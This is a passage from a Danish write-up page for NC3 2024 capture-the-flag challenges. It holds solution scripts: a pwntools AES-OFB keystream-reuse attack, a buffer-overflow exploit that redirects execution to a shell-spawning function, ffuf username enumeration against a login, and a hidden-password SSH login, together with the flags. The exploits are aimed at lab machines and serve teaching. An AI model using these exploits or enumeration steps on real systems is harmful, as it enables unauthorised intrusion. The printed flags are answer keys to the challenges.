</span></span><span class="line"><span class="cl"><span class="n">first_block</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">first_xor_key_calc</span><span class="p">,</span> <span class="n">ct</span><span class="p">[:</span><span class="mi">16</span><span class="p">])</span> <span class="c1"># &gt;&gt; b&#39;[BREV 1000] nc3{&#39;</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">first_block</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#Encrypt the IV again with the cipher to get the second block</span>
</span></span><span class="line"><span class="cl"><span class="n">second_block</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">second_xor_key_calc</span><span class="p">,</span> <span class="n">ct</span><span class="p">[</span><span class="mi">16</span><span class="p">:])</span> <span class="c1"># &gt;&gt; b&#39;Dette_er_kun_en}&#39;</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">second_block</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#Recover the plaintext</span>
</span></span><span class="line"><span class="cl"><span class="n">pt</span> <span class="o">=</span> <span class="n">first_block</span> <span class="o">+</span> <span class="n">second_block</span> 
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">pt</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;latin-1&#39;</span><span class="p">))</span> <span class="c1"># &gt;&gt; &#34;[BREV 1000] nc3{Dette_er_kun_en}&#34;</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">binascii</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s1">&#39;debug&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">host</span> <span class="o">=</span> <span class="s1">&#39;10.10.118.18&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">port</span> <span class="o">=</span> <span class="mi">1337</span>  
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#this to connect to the server</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#decrypt with XOR func </span>
</span></span><span class="line"><span class="cl"><span class="c1">#def xor(*args):</span>
</span></span><span class="line"><span class="cl"> <span class="c1">#   return bytes([a ^ b ^ c for a, b, c in zip(*args)])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#parameters</span>
</span></span><span class="line"><span class="cl"><span class="n">letter</span> <span class="o">=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="n">enc_flag</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">hex_flag</span> <span class="o">=</span> <span class="s1">&#39;5369e734ab805ea36f332f6ce4dc6d3fb6ef6e5df6b7ed407c3a7056e4fcc895be99677fe2d4d00088e59380817b4ecc9fbadbdad512aaf64978fbc1947eea912e2026382649ab85&#39;</span> <span class="c1">#[BREV 1000] nc3{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#functions</span>
</span></span><span class="line"><span class="cl"><span class="c1">#convert to byte</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">hex_to_byte</span><span class="p">(</span><span class="nb">hex</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">binascii</span><span class="o">.</span><span class="n">unhexlify</span><span class="p">(</span><span class="nb">hex</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#known plaintext</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">get_known</span><span class="p">(</span><span class="n">letter</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">  <span class="n">response</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;[BREV </span><span class="si">{</span><span class="n">letter</span><span class="si">}</span><span class="s2">]&#34;</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">response</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#Get flag as byte string</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">getFlag</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">  <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s1">&#39;&gt; &#39;</span><span class="p">,</span> <span class="s1">&#39;1&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">  <span class="n">enc_flag</span> <span class="o">=</span> <span class="n">binascii</span><span class="o">.</span><span class="n">unhexlify</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;: &#39;</span><span class="p">)[</span><span class="mi">1</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">global</span> <span class="n">letter</span> 
</span></span><span class="line"><span class="cl">  <span class="n">letter</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">enc_flag</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#send keystream for encryption</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">encryptKeystream</span><span class="p">(</span><span class="n">keystream</span><span class="p">,</span> <span class="n">plaintext</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">  <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s1">&#39;&gt; &#39;</span><span class="p">,</span> <span class="s1">&#39;2&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s1">&#39;Besked: &#39;</span><span class="p">,</span> <span class="s1">&#39;AAAA&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s1">&#39;Adresse: &#39;</span><span class="p">,</span> <span class="s1">&#39;Her&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s1">&#39;IV: &#39;</span><span class="p">,</span> <span class="n">keystream</span><span class="o">.</span><span class="n">hex</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">  <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">  <span class="n">result</span> <span class="o">=</span> <span class="n">binascii</span><span class="o">.</span><span class="n">unhexlify</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;: &#39;</span><span class="p">)[</span><span class="mi">1</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">global</span> <span class="n">letter</span> 
</span></span><span class="line"><span class="cl">  <span class="n">letter</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">#Convert to new keystream with known plaintext</span>
</span></span><span class="line"><span class="cl">  <span class="n">newKeystream</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">result</span><span class="p">,</span> <span class="n">plaintext</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">newKeystream</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#1 Run flag 1000 times to make the first 16bytes &#39;[BREV 1000] NC3{&#39;</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="n">letter</span> <span class="o">&lt;</span> <span class="mi">1000</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">  <span class="n">getFlag</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">enc_flag</span> <span class="o">=</span> <span class="n">getFlag</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#2 Convert first 16bytes to keystream</span>
</span></span><span class="line"><span class="cl"><span class="n">keystream</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">enc_flag</span><span class="p">[:</span><span class="mi">16</span><span class="p">],</span> <span class="s1">&#39;[BREV 1000] NC3{&#39;</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#3 Convert the keystream using the send message option.</span>
</span></span><span class="line"><span class="cl"><span class="n">plaintext</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;[BREV </span><span class="si">{</span><span class="n">letter</span><span class="si">}</span><span class="s1">] AAAA&#39;</span> <span class="c1"># BREV 1001</span>
</span></span><span class="line"><span class="cl"><span class="n">keystream1</span> <span class="o">=</span> <span class="n">encryptKeystream</span><span class="p">(</span><span class="n">keystream</span><span class="p">,</span> <span class="n">plaintext</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">plaintext</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;[BREV </span><span class="si">{</span><span class="n">letter</span><span class="si">}</span><span class="s1">] AAAA&#39;</span> <span class="c1"># BREV 1002</span>
</span></span><span class="line"><span class="cl"><span class="n">keystream2</span> <span class="o">=</span> <span class="n">encryptKeystream</span><span class="p">(</span><span class="n">keystream1</span><span class="p">,</span> <span class="n">plaintext</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">plaintext</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;[BREV </span><span class="si">{</span><span class="n">letter</span><span class="si">}</span><span class="s1">] AAAA&#39;</span> <span class="c1"># BREV 1003</span>
</span></span><span class="line"><span class="cl"><span class="n">keystream3</span> <span class="o">=</span> <span class="n">encryptKeystream</span><span class="p">(</span><span class="n">keystream2</span><span class="p">,</span> <span class="n">plaintext</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">plaintext</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;[BREV </span><span class="si">{</span><span class="n">letter</span><span class="si">}</span><span class="s1">] AAAA&#39;</span> <span class="c1"># BREV 1004</span>
</span></span><span class="line"><span class="cl"><span class="n">keystream4</span> <span class="o">=</span> <span class="n">encryptKeystream</span><span class="p">(</span><span class="n">keystream3</span><span class="p">,</span> <span class="n">plaintext</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#4 Xor with keystreams to return flag</span>
</span></span><span class="line"><span class="cl"><span class="n">block1</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">enc_flag</span><span class="p">[:</span><span class="mi">16</span><span class="p">],</span> <span class="n">keystream</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">block2</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">enc_flag</span><span class="p">[</span><span class="mi">16</span><span class="p">:</span><span class="mi">32</span><span class="p">],</span> <span class="n">keystream1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">block3</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">enc_flag</span><span class="p">[</span><span class="mi">32</span><span class="p">:</span><span class="mi">48</span><span class="p">],</span> <span class="n">keystream2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">block4</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">enc_flag</span><span class="p">[</span><span class="mi">48</span><span class="p">:</span><span class="mi">64</span><span class="p">],</span> <span class="n">keystream3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">block5</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">enc_flag</span><span class="p">[</span><span class="mi">64</span><span class="p">:</span><span class="mi">80</span><span class="p">],</span> <span class="n">keystream4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">response</span> <span class="o">=</span> <span class="n">block1</span> <span class="o">+</span> <span class="n">block2</span> <span class="o">+</span> <span class="n">block3</span> <span class="o">+</span> <span class="n">block4</span> <span class="o">+</span> <span class="n">block5</span>
</span></span><span class="line"><span class="cl"><span class="n">log</span><span class="o">.</span><span class="n">success</span><span class="p">(</span><span class="n">response</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#this closes the connection</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># AES-OFB: https://pycryptodome.readthedocs.io/en/latest/src/cipher/classic.html#ofb-mode  https://github.com/zelinsky/CTF-Course/blob/master/Classes/4.md</span>
</span></span></code></pre></div><p>Flag: <code>NC3{hv3m_h4r_brug_f0r_3n_k3y_n4r_m4n_k4n_g3n5k4b3_k3y5tr34m}</code></p>
<hr>
<h2 id="nisse-gæld">Nisse-gæld</h2>
<p>Fritz blev opdaget i at snyde pensionssystemet og skal betale alt tilbage.</p>
<p>Han har dog allerede brugt en stor del på sin nye fede Nisla, så han står nu med en klækkelig gæld på ❄️10.000.000.</p>
<p>Froststyrelsen har centraliseret sin håndtering af ❄️ for at øge sikkerheden - mon Fritz kan snyde systemet igen og få adgang til deres server, så han kan eftergive sin egen gæld?</p>
<p><a href="https://tryhackme.com/jr/n1ssegaeld2o24">https://tryhackme.com/jr/n1ssegaeld2o24</a></p>
<p><strong>Vedhæftet fil:</strong> <a href="/nc3_2024/pwn/nisseby-2">nisseby-2</a></p>
<p><strong>Løsning:</strong></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Address of the target function (login_froststyrelsen) that spawns a shell</span>
</span></span><span class="line"><span class="cl"><span class="c1">#target_function_address = 0x00000000004018b2</span>
</span></span><span class="line"><span class="cl"><span class="n">target_function_address</span> <span class="o">=</span> <span class="mh">0x00000000004018b6</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Offset to overwrite the return address</span>
</span></span><span class="line"><span class="cl"><span class="n">offset</span> <span class="o">=</span> <span class="mi">1008</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Build the payload</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;A&#39;</span> <span class="o">*</span> <span class="n">offset</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">target_function_address</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">target_function_address</span><span class="p">)</span> <span class="c1">#??? men det skal der til, tror det er pga</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># stack alignment just in case i think :-)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Ensure total payload length is a multiple of 16</span>
</span></span><span class="line"><span class="cl"><span class="n">padding_length</span> <span class="o">=</span> <span class="p">(</span><span class="mi">16</span> <span class="o">-</span> <span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span> <span class="o">%</span> <span class="mi">16</span><span class="p">))</span> <span class="o">%</span> <span class="mi">16</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s1">&#39;B&#39;</span> <span class="o">*</span> <span class="n">padding_length</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Start the process</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#39;./nisseby-2&#39;) #local</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Connect to the remote service</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;10.10.75.215&#39;</span><span class="p">,</span> <span class="mi">1337</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Interact with the program</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;4&#39;</span><span class="p">)</span>  
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;1&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;1&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;1&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Send the payload</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Hand over control to interact with the shell</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div><p>Flag: <code>NC3{T1llykk3_N1ss3fr1tz_du_3r_nu_gældfr1_3ft3r_fl3r3_m1nutt3rs_hård7_4rb3jd3}</code></p>
<hr>
<h2 id="skattekammeret-robotnisse">Skattekammeret-robotnisse</h2>
<p>Ønske: Lidt Web og lidt PWN her i den kolde tid!</p>
<p>Du ved, hvad der må gøres! H4CK the NISSE-skattekammer. Et enkelt overflow ad gangen.</p>
<p><a href="https://tryhackme.com/jr/skattekammeret2o24">https://tryhackme.com/jr/skattekammeret2o24</a></p>
<p><strong>Løsning:</strong> robots.txt</p>
<p>Flag: <code>nc3{r0b0t}</code></p>
<hr>
<h2 id="skattekammeret-storenisse">Skattekammeret-storenisse</h2>
<p><strong>Løsning:</strong>
Clue fra robots.txt: disallow /skjult/storenisse.html
/skjult/storenisse.html:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">h1</span><span class="p">&gt;</span>Skattekammeret2o24<span class="p">&lt;/</span><span class="nt">h1</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">SHH!!!<span class="p">&lt;</span><span class="nt">br</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">br</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">Hemmeligt kodeord til storenisse:<span class="p">&lt;</span><span class="nt">br</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">br</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">p</span> <span class="na">style</span><span class="o">=</span><span class="s">&#34;color:white&#34;</span><span class="p">&gt;</span>jegkommermedfred<span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span>
</span></span></code></pre></div><p><code>ssh storenisse@&lt;ip&gt;</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">storenisse@nc3ctf24-skattekammeret2o24:~$ ls
</span></span><span class="line"><span class="cl">bmMze3JvYm90c19iYXNlNjRfMGdfcHduX2lfZW5fcGFra2V9  gave.b64
</span></span></code></pre></div><p><code>python3 -c 'import base64;print(base64.b64decode(&quot;bmMze3JvYm90c19iYXNlNjRfMGdfcHduX2lfZW5fcGFra2V9&quot;).decode())'</code></p>
<p>Flag: <code>nc3{robots_base64_0g_pwn_i_en_pakke}</code></p>
<hr>
<h2 id="gremlingram">GremlinGram</h2>
<p>Nisser og gremlins har længe haft et anspændt forhold, og i år frygter nisserne, at de teknologiglade gremlins er i gang med at planlægge noget skummelt.</p>
<p>Nisserne har fundet et socialt medie, hvor gremlins kommunikerer og har bedt Julens politi om at efterforske sagen. De er sikre på, at der gemmer sig noget under overfladen på denne side&hellip;</p>
<p><a href="https://tryhackme.com/jr/gremlingram2o24">https://tryhackme.com/jr/gremlingram2o24</a></p>
<p><strong>Løsning:</strong> port 80 åben. der er tale om en chat. Ved tryk på brugernavne kommer man til endpointet /user?user=<!-- raw HTML omitted -->. <!-- raw HTML omitted --> kan være -6 til 5, ellers får man en 500 side. Hvis man sætter andet ind end en integer bliver den sur og smidder en tilbage til hovedsiden. Forsøger man at fuzze med andre endpoints, smidder den også en tilbage til hovedsiden (/admin). hvis man kommer ekstra subdirectory på bliver den ikke sur (/admin/)</p>
<p>7 bit ascii</p>
<pre tabindex="0"><code>Vi ses ved Postnordpolens hytte 5 kl 20:00
Tjek, jeg har &#34;hammeren&#34; med
10-4
Jeg har en gremlin med i aften
Ok, så længe du har godkendt ham
Det er en jeg kender. Han burde være helt fint
Bare sørg for at være klar
Bliver 10 minutter forsinket
Noteret. NC3{v1_sKr1v3r_whi7E5p4c3_I_sn33n}
10-4, find en rød Volvo
</code></pre><p>Flag: <code>NC3{v1_sKr1v3r_whi7E5p4c3_I_sn33n}</code></p>
<hr>
<h2 id="nisseportalen-2">Nisseportalen #2</h2>
<p>Nissernes største ønske er en portal til deling af alle deres AI-genererede billeder aka Nisseportalen. Projektet er dog i fare efter Nissedevs utallige fiaskoer med både Dangerzone og Nissezonen.</p>
<p>Praktikantnissen har fået til opgave at redde Nisseportalen og få ryddet op i Nissedevs rod. Kan du hjælpe med at redde Nisseportalen og finde alle de sårbarheder, der må være, så projektet endelig kan blive gjort færdigt?</p>
<p>Men vær beredt, det er ikke til at sige hvad Nissedev har haft gang i&hellip;</p>
<p><a href="https://tryhackme.com/jr/nisseportalen2o24">https://tryhackme.com/jr/nisseportalen2o24</a></p>
<p><strong>Løsning:</strong> Første skridt er at bruge <a href="https://github.com/ffuf/ffuf">ffuf</a> til at afsløre mulige brugernavne ved hjælp af følgende kommando:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ffuf -request login.req -request-proto http -mode clusterbomb -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt:USERFUZZ -r -fs <span class="m">797</span>
</span></span></code></pre></div><p>Teknikken går ud på systematisk at teste brugernavne ved at identificere unikke responskarakteristika. Vi leder efter beskeder som &ldquo;Forkert password&rdquo;, der indikerer et eksisterende brugernavn.</p>
<p>Når vi har identificeret et gyldigt brugernavn, kan vi gennemføre et password-angreb for at få fuld adgang til systemet.</p>
<p>Login-oplysningerne viser sig at være:</p>
<ul>
<li>Brugernavn: <code>test</code></li>
<li>Password: <code>tester</code></li>
</ul>
<p>Flag: <code>NC3{Flag2:9aMl3_kod3R_ru573r_AlDrI9}</code></p>
<hr>
<h2 id="gift-wrappinator-9001">Gift Wrappinator 9001</h2>
<p>Nisserne har indkøbt en ny Gift Wrappinator 9001 for at undgå slidgigt, gaveindpakning til to milliarder børn er ikke for sjov&hellip;</p>
<p>Men nogen har indstillet maskinen forkert, alle gaverne er blevet pakket ind i mange lag gavepapir på forskellige måder.</p>
<p>Maskinen kan indstilles til at pakke op igen, men skal bruge en kode for at pakke hvert lag rigtigt op.</p>
<p>Pssst, scriptet blev genereret med Python 3.13.0</p>
<p><strong>Vedhæftet fil:</strong> <a href="/nc3_2024/Reversing/wrappinator.py">wrappinator.py</a></p>
<p><strong>Løsning:</strong></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/env python3</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">marshal</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">dis</span> <span class="c1">#sinserted</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">re</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">delete_empty_files_using_walk</span><span class="p">(</span><span class="n">root_path</span><span class="p">):</span> 
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">    <span class="n">no_of_files_deleted</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">    <span class="c1"># Route through the directories and files within the path - </span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="n">_</span><span class="p">,</span> <span class="n">files</span><span class="p">)</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">walk</span><span class="p">(</span><span class="n">root_path</span><span class="p">):</span> 
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">filename</span> <span class="ow">in</span> <span class="n">files</span><span class="p">:</span> 
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">            <span class="c1"># Generate file path </span>
</span></span><span class="line"><span class="cl">            <span class="n">file_path</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="n">filename</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">            <span class="c1"># Check if it is file and empty (size = 0) -------- </span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span> 
</span></span><span class="line"><span class="cl">                <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">isfile</span><span class="p">(</span><span class="n">file_path</span><span class="p">)</span> <span class="ow">and</span>
